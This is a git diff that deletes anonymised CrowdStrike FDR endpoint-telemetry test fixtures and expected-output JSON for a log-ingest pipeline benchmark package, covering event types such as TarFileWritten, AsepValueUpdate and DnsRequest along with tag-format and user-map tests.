"{\"event_simpleName\":\"ScriptControlScanInfo\",\"ScriptContent\":\"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c\",\"ConfigStateHash\":\"600000970\",\"OriginalContentLength\":\"100\",\"ContextProcessId\":\"516365064008244070\",\"aip\":\"89.160.20.128\",\"ContentSHA256HashData\":\"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"ScriptContentName\":\"/51a/89\",\"Entitlements\":\"56\",\"name\":\"0a1beccbcea40ac2468a3ee78b\",\"EventOrigin\":\"1\",\"id\":\"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c7fe43754f5b6ebfa566ef25e9ac6ecc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "info" - ] - }, - "host": { - "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc", - "os": { - "type": "macos" - } - }, - "message": "ScriptControlScanInfo", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "c7fe43754f5b6ebfa566ef25e9ac6ecc", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "516365064008244070" - }, - "related": { - "hash": [ - "600000970" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "35043379", - "ContextBaseFileName": "d66187f4b1779e", - "ContextProcessId": "140060400067209000", - "ContextTimeStamp": "2025-07-20T16:51:47.865Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "36", - "EventOrigin": "1", - "FileCategory": "1", - "IsOnRemovableDisk": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "f6d443ab644ffa64617a90936d6da555f0a2", - "name": "e7ebdc66589c6ae4b87" - }, - "device": { - "id": "3e32d11b9db211e438bf9141dbc31d85" - }, - "event": { - "action": "TarFileWritten", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "f6d443ab644ffa64617a90936d6da555f0a2|3e32d11b9db211e438bf9141dbc31d85|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"d66187f4b1779e\",\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1753030307.865\",\"UserName\":\"2e31bb4e4604be73a\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"35043379\",\"ContextProcessId\":\"140060400067209000\",\"Size\":\"534039\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::2\",\"FileIdentifier\":\"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"e7ebdc66589c6ae4b87\",\"EventOrigin\":\"1\",\"id\":\"f6d443ab644ffa64617a90936d6da555f0a2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"3e32d11b9db211e438bf9141dbc31d85\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478", - "inode": "3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1", - "name": "097fc6a5", - "path": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5", - "size": 534039, - "type": "file" - }, - "host": { - "id": "3e32d11b9db211e438bf9141dbc31d85", - "os": { - "type": "macos" - } - }, - "message": "TarFileWritten", - "observer": { - "address": [ - "2a02:cf40::2" - ], - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": [ - "2a02:cf40::2" - ], - "serial_number": "3e32d11b9db211e438bf9141dbc31d85", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "140060400067209000", - "name": "d66187f4b1779e", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "35043379" - ], - "ip": [ - "2a02:cf40::2" - ], - "user": [ - "2e31bb4e4604be73a" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "2e31bb4e4604be73a" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "95043379", - "ContextBaseFileName": "6f79cfc3feaa775", - "ContextProcessId": "403000009094400601", - "ContextTimeStamp": "2025-09-09T08:00:34.724Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "36", - "EventOrigin": "1", - "FileCategory": "1", - "IsOnRemovableDisk": "0", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "2633213df12f91013279bef1b12ce10d2c67", - "name": "708df495f98345bf516" - }, - "device": { - "id": "b1e14abeaf9680c3f0b9be1f18550235" - }, - "event": { - "action": "XarFileWritten", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "2633213df12f91013279bef1b12ce10d2c67|b1e14abeaf9680c3f0b9be1f18550235|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"6f79cfc3feaa775\",\"event_simpleName\":\"XarFileWritten\",\"ContextTimeStamp\":\"1757404834.724\",\"UserName\":\"f27ee237062cfd9\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"403000009094400601\",\"Size\":\"1000870\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.144\",\"FileIdentifier\":\"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"708df495f98345bf516\",\"EventOrigin\":\"1\",\"id\":\"2633213df12f91013279bef1b12ce10d2c67\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b1e14abeaf9680c3f0b9be1f18550235\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "directory": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070", - "extension": "pkg", - "inode": "0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1", - "name": "5ef9b1be.pkg", - "path": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg", - "size": 1000870, - "type": "file" - }, - "host": { - "id": "b1e14abeaf9680c3f0b9be1f18550235", - "os": { - "type": "macos" - } - }, - "message": "XarFileWritten", - "observer": { - "address": [ - "81.2.69.144" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.144" - ], - "serial_number": "b1e14abeaf9680c3f0b9be1f18550235", - "version": "2c8b.4.b224e8a.4f" - }, - "process": { - "entity_id": "403000009094400601", - "name": "6f79cfc3feaa775", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "95043379" - ], - "ip": [ - "81.2.69.144" - ], - "user": [ - "f27ee237062cfd9" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "f27ee237062cfd9" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log deleted file mode 100644 index 4789a85c5b..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log +++ /dev/null @@ -1,4 +0,0 @@ -{"Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705"} -{"Tags":{"Name":"service-worker-storage.aws-id","Owner":"serviceowner","Partition":"partitionname","Service":"ServiceName","Subcluster":"blue","Costcenter":"servicerunner","Email":"user@example.com","Environment":"prod"}} -{"Tags":[{"Key":"Name","ValueString":"service-worker-storage.aws-id"},{"Key":"Owner","ValueString":"serviceowner"},{"Key":"Partition","ValueString":"partitionname"},{"Key":"Service","ValueString":"ServiceName"},{"Key":"Subcluster","ValueString":"blue"},{"Key":"Costcenter","ValueString":"servicerunner"},{"Key":"Email","ValueString":"user@example.com"},{"Key":"Environment","ValueString":"prod"}]} -{"Tags":["312","11544872091698","21990232555653","21990232555859","26388279066700","26388279066703","26388279066704","26388279066705"]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json deleted file mode 100644 index 9374df97a3..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json +++ /dev/null @@ -1,88 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "Tags": [ - "312", - "11544872091698", - "21990232555653", - "21990232555859", - "26388279066700", - "26388279066703", - "26388279066704", - "26388279066705" - ] - }, - "event": { - "original": "{\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705\"}" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "Tags": [ - "Partition:partitionname", - "Owner:serviceowner", - "Costcenter:servicerunner", - "Email:user@example.com", - "Service:ServiceName", - "Environment:prod", - "Subcluster:blue", - "Name:service-worker-storage.aws-id" - ] - }, - "event": { - "original": "{\"Tags\":{\"Name\":\"service-worker-storage.aws-id\",\"Owner\":\"serviceowner\",\"Partition\":\"partitionname\",\"Service\":\"ServiceName\",\"Subcluster\":\"blue\",\"Costcenter\":\"servicerunner\",\"Email\":\"user@example.com\",\"Environment\":\"prod\"}}" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "Tags": [ - "Name:service-worker-storage.aws-id", - "Owner:serviceowner", - "Partition:partitionname", - "Service:ServiceName", - "Subcluster:blue", - "Costcenter:servicerunner", - "Email:user@example.com", - "Environment:prod" - ] - }, - "event": { - "original": "{\"Tags\":[{\"Key\":\"Name\",\"ValueString\":\"service-worker-storage.aws-id\"},{\"Key\":\"Owner\",\"ValueString\":\"serviceowner\"},{\"Key\":\"Partition\",\"ValueString\":\"partitionname\"},{\"Key\":\"Service\",\"ValueString\":\"ServiceName\"},{\"Key\":\"Subcluster\",\"ValueString\":\"blue\"},{\"Key\":\"Costcenter\",\"ValueString\":\"servicerunner\"},{\"Key\":\"Email\",\"ValueString\":\"user@example.com\"},{\"Key\":\"Environment\",\"ValueString\":\"prod\"}]}" - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-04-28T11:07:58.223Z", - "crowdstrike": { - "Tags": [ - "312", - "11544872091698", - "21990232555653", - "21990232555859", - "26388279066700", - "26388279066703", - "26388279066704", - "26388279066705" - ] - }, - "event": { - "original": "{\"Tags\":[\"312\",\"11544872091698\",\"21990232555653\",\"21990232555859\",\"26388279066700\",\"26388279066703\",\"26388279066704\",\"26388279066705\"]}" - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log deleted file mode 100644 index 7dc9568c3f..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log +++ /dev/null @@ -1 +0,0 @@ -{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546157.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546169.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json deleted file mode 100644 index 3b719491e2..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-12-14T09:29:29.576Z", - "crowdstrike": { - "AccountType": "Domain User", - "LastLoggedOnHost": "COMPUTER1", - "LocalAdminAccess": "No", - "LogonInfo": "Domain User Logon", - "LogonTime": "2023-12-14T09:29:17.197Z", - "LogonType": "Interactive", - "PasswordLastSet": "1699971198.062", - "UserLogonFlags_decimal": "0", - "UserSid_readable": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", - "cid": "ffffffff15754bcfb5f9152ec7ac90ad", - "monthsincereset": "1.0" - }, - "event": { - "created": "2023-12-14T09:29:29.576Z", - "id": "||ffffffff15754bcfb5f9152ec7ac90ad", - "original": "{\"AccountType\":\"Domain User\",\"LastLoggedOnHost\":\"COMPUTER1\",\"LocalAdminAccess\":\"No\",\"LogonInfo\":\"Domain User Logon\",\"LogonTime\":\"1702546157.197\",\"LogonType\":\"Interactive\",\"PasswordLastSet\":\"1699971198.062\",\"User\":{\"Name\":\"DOMAIN\\\\BRADLEYA\",\"ID\":\"1000\"},\"UserIsAdmin\":\"0\",\"UserLogonFlags_decimal\":\"0\",\"UserSid_readable\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"_time\":\"1702546169.576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ad\",\"event_platform\":\"Win\",\"monthsincereset\":\"1.0\"}" - }, - "host": { - "os": { - "type": "windows" - } - }, - "related": { - "user": [ - "DOMAIN\\BRADLEYA", - "1000" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "1000", - "name": "DOMAIN\\BRADLEYA" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log deleted file mode 100644 index ee90ee5f35..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log +++ /dev/null @@ -1,121 +0,0 @@ -{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"} -{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"} -{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"} -{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"} -{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"} -{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"} -{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} -{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"} -{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"} 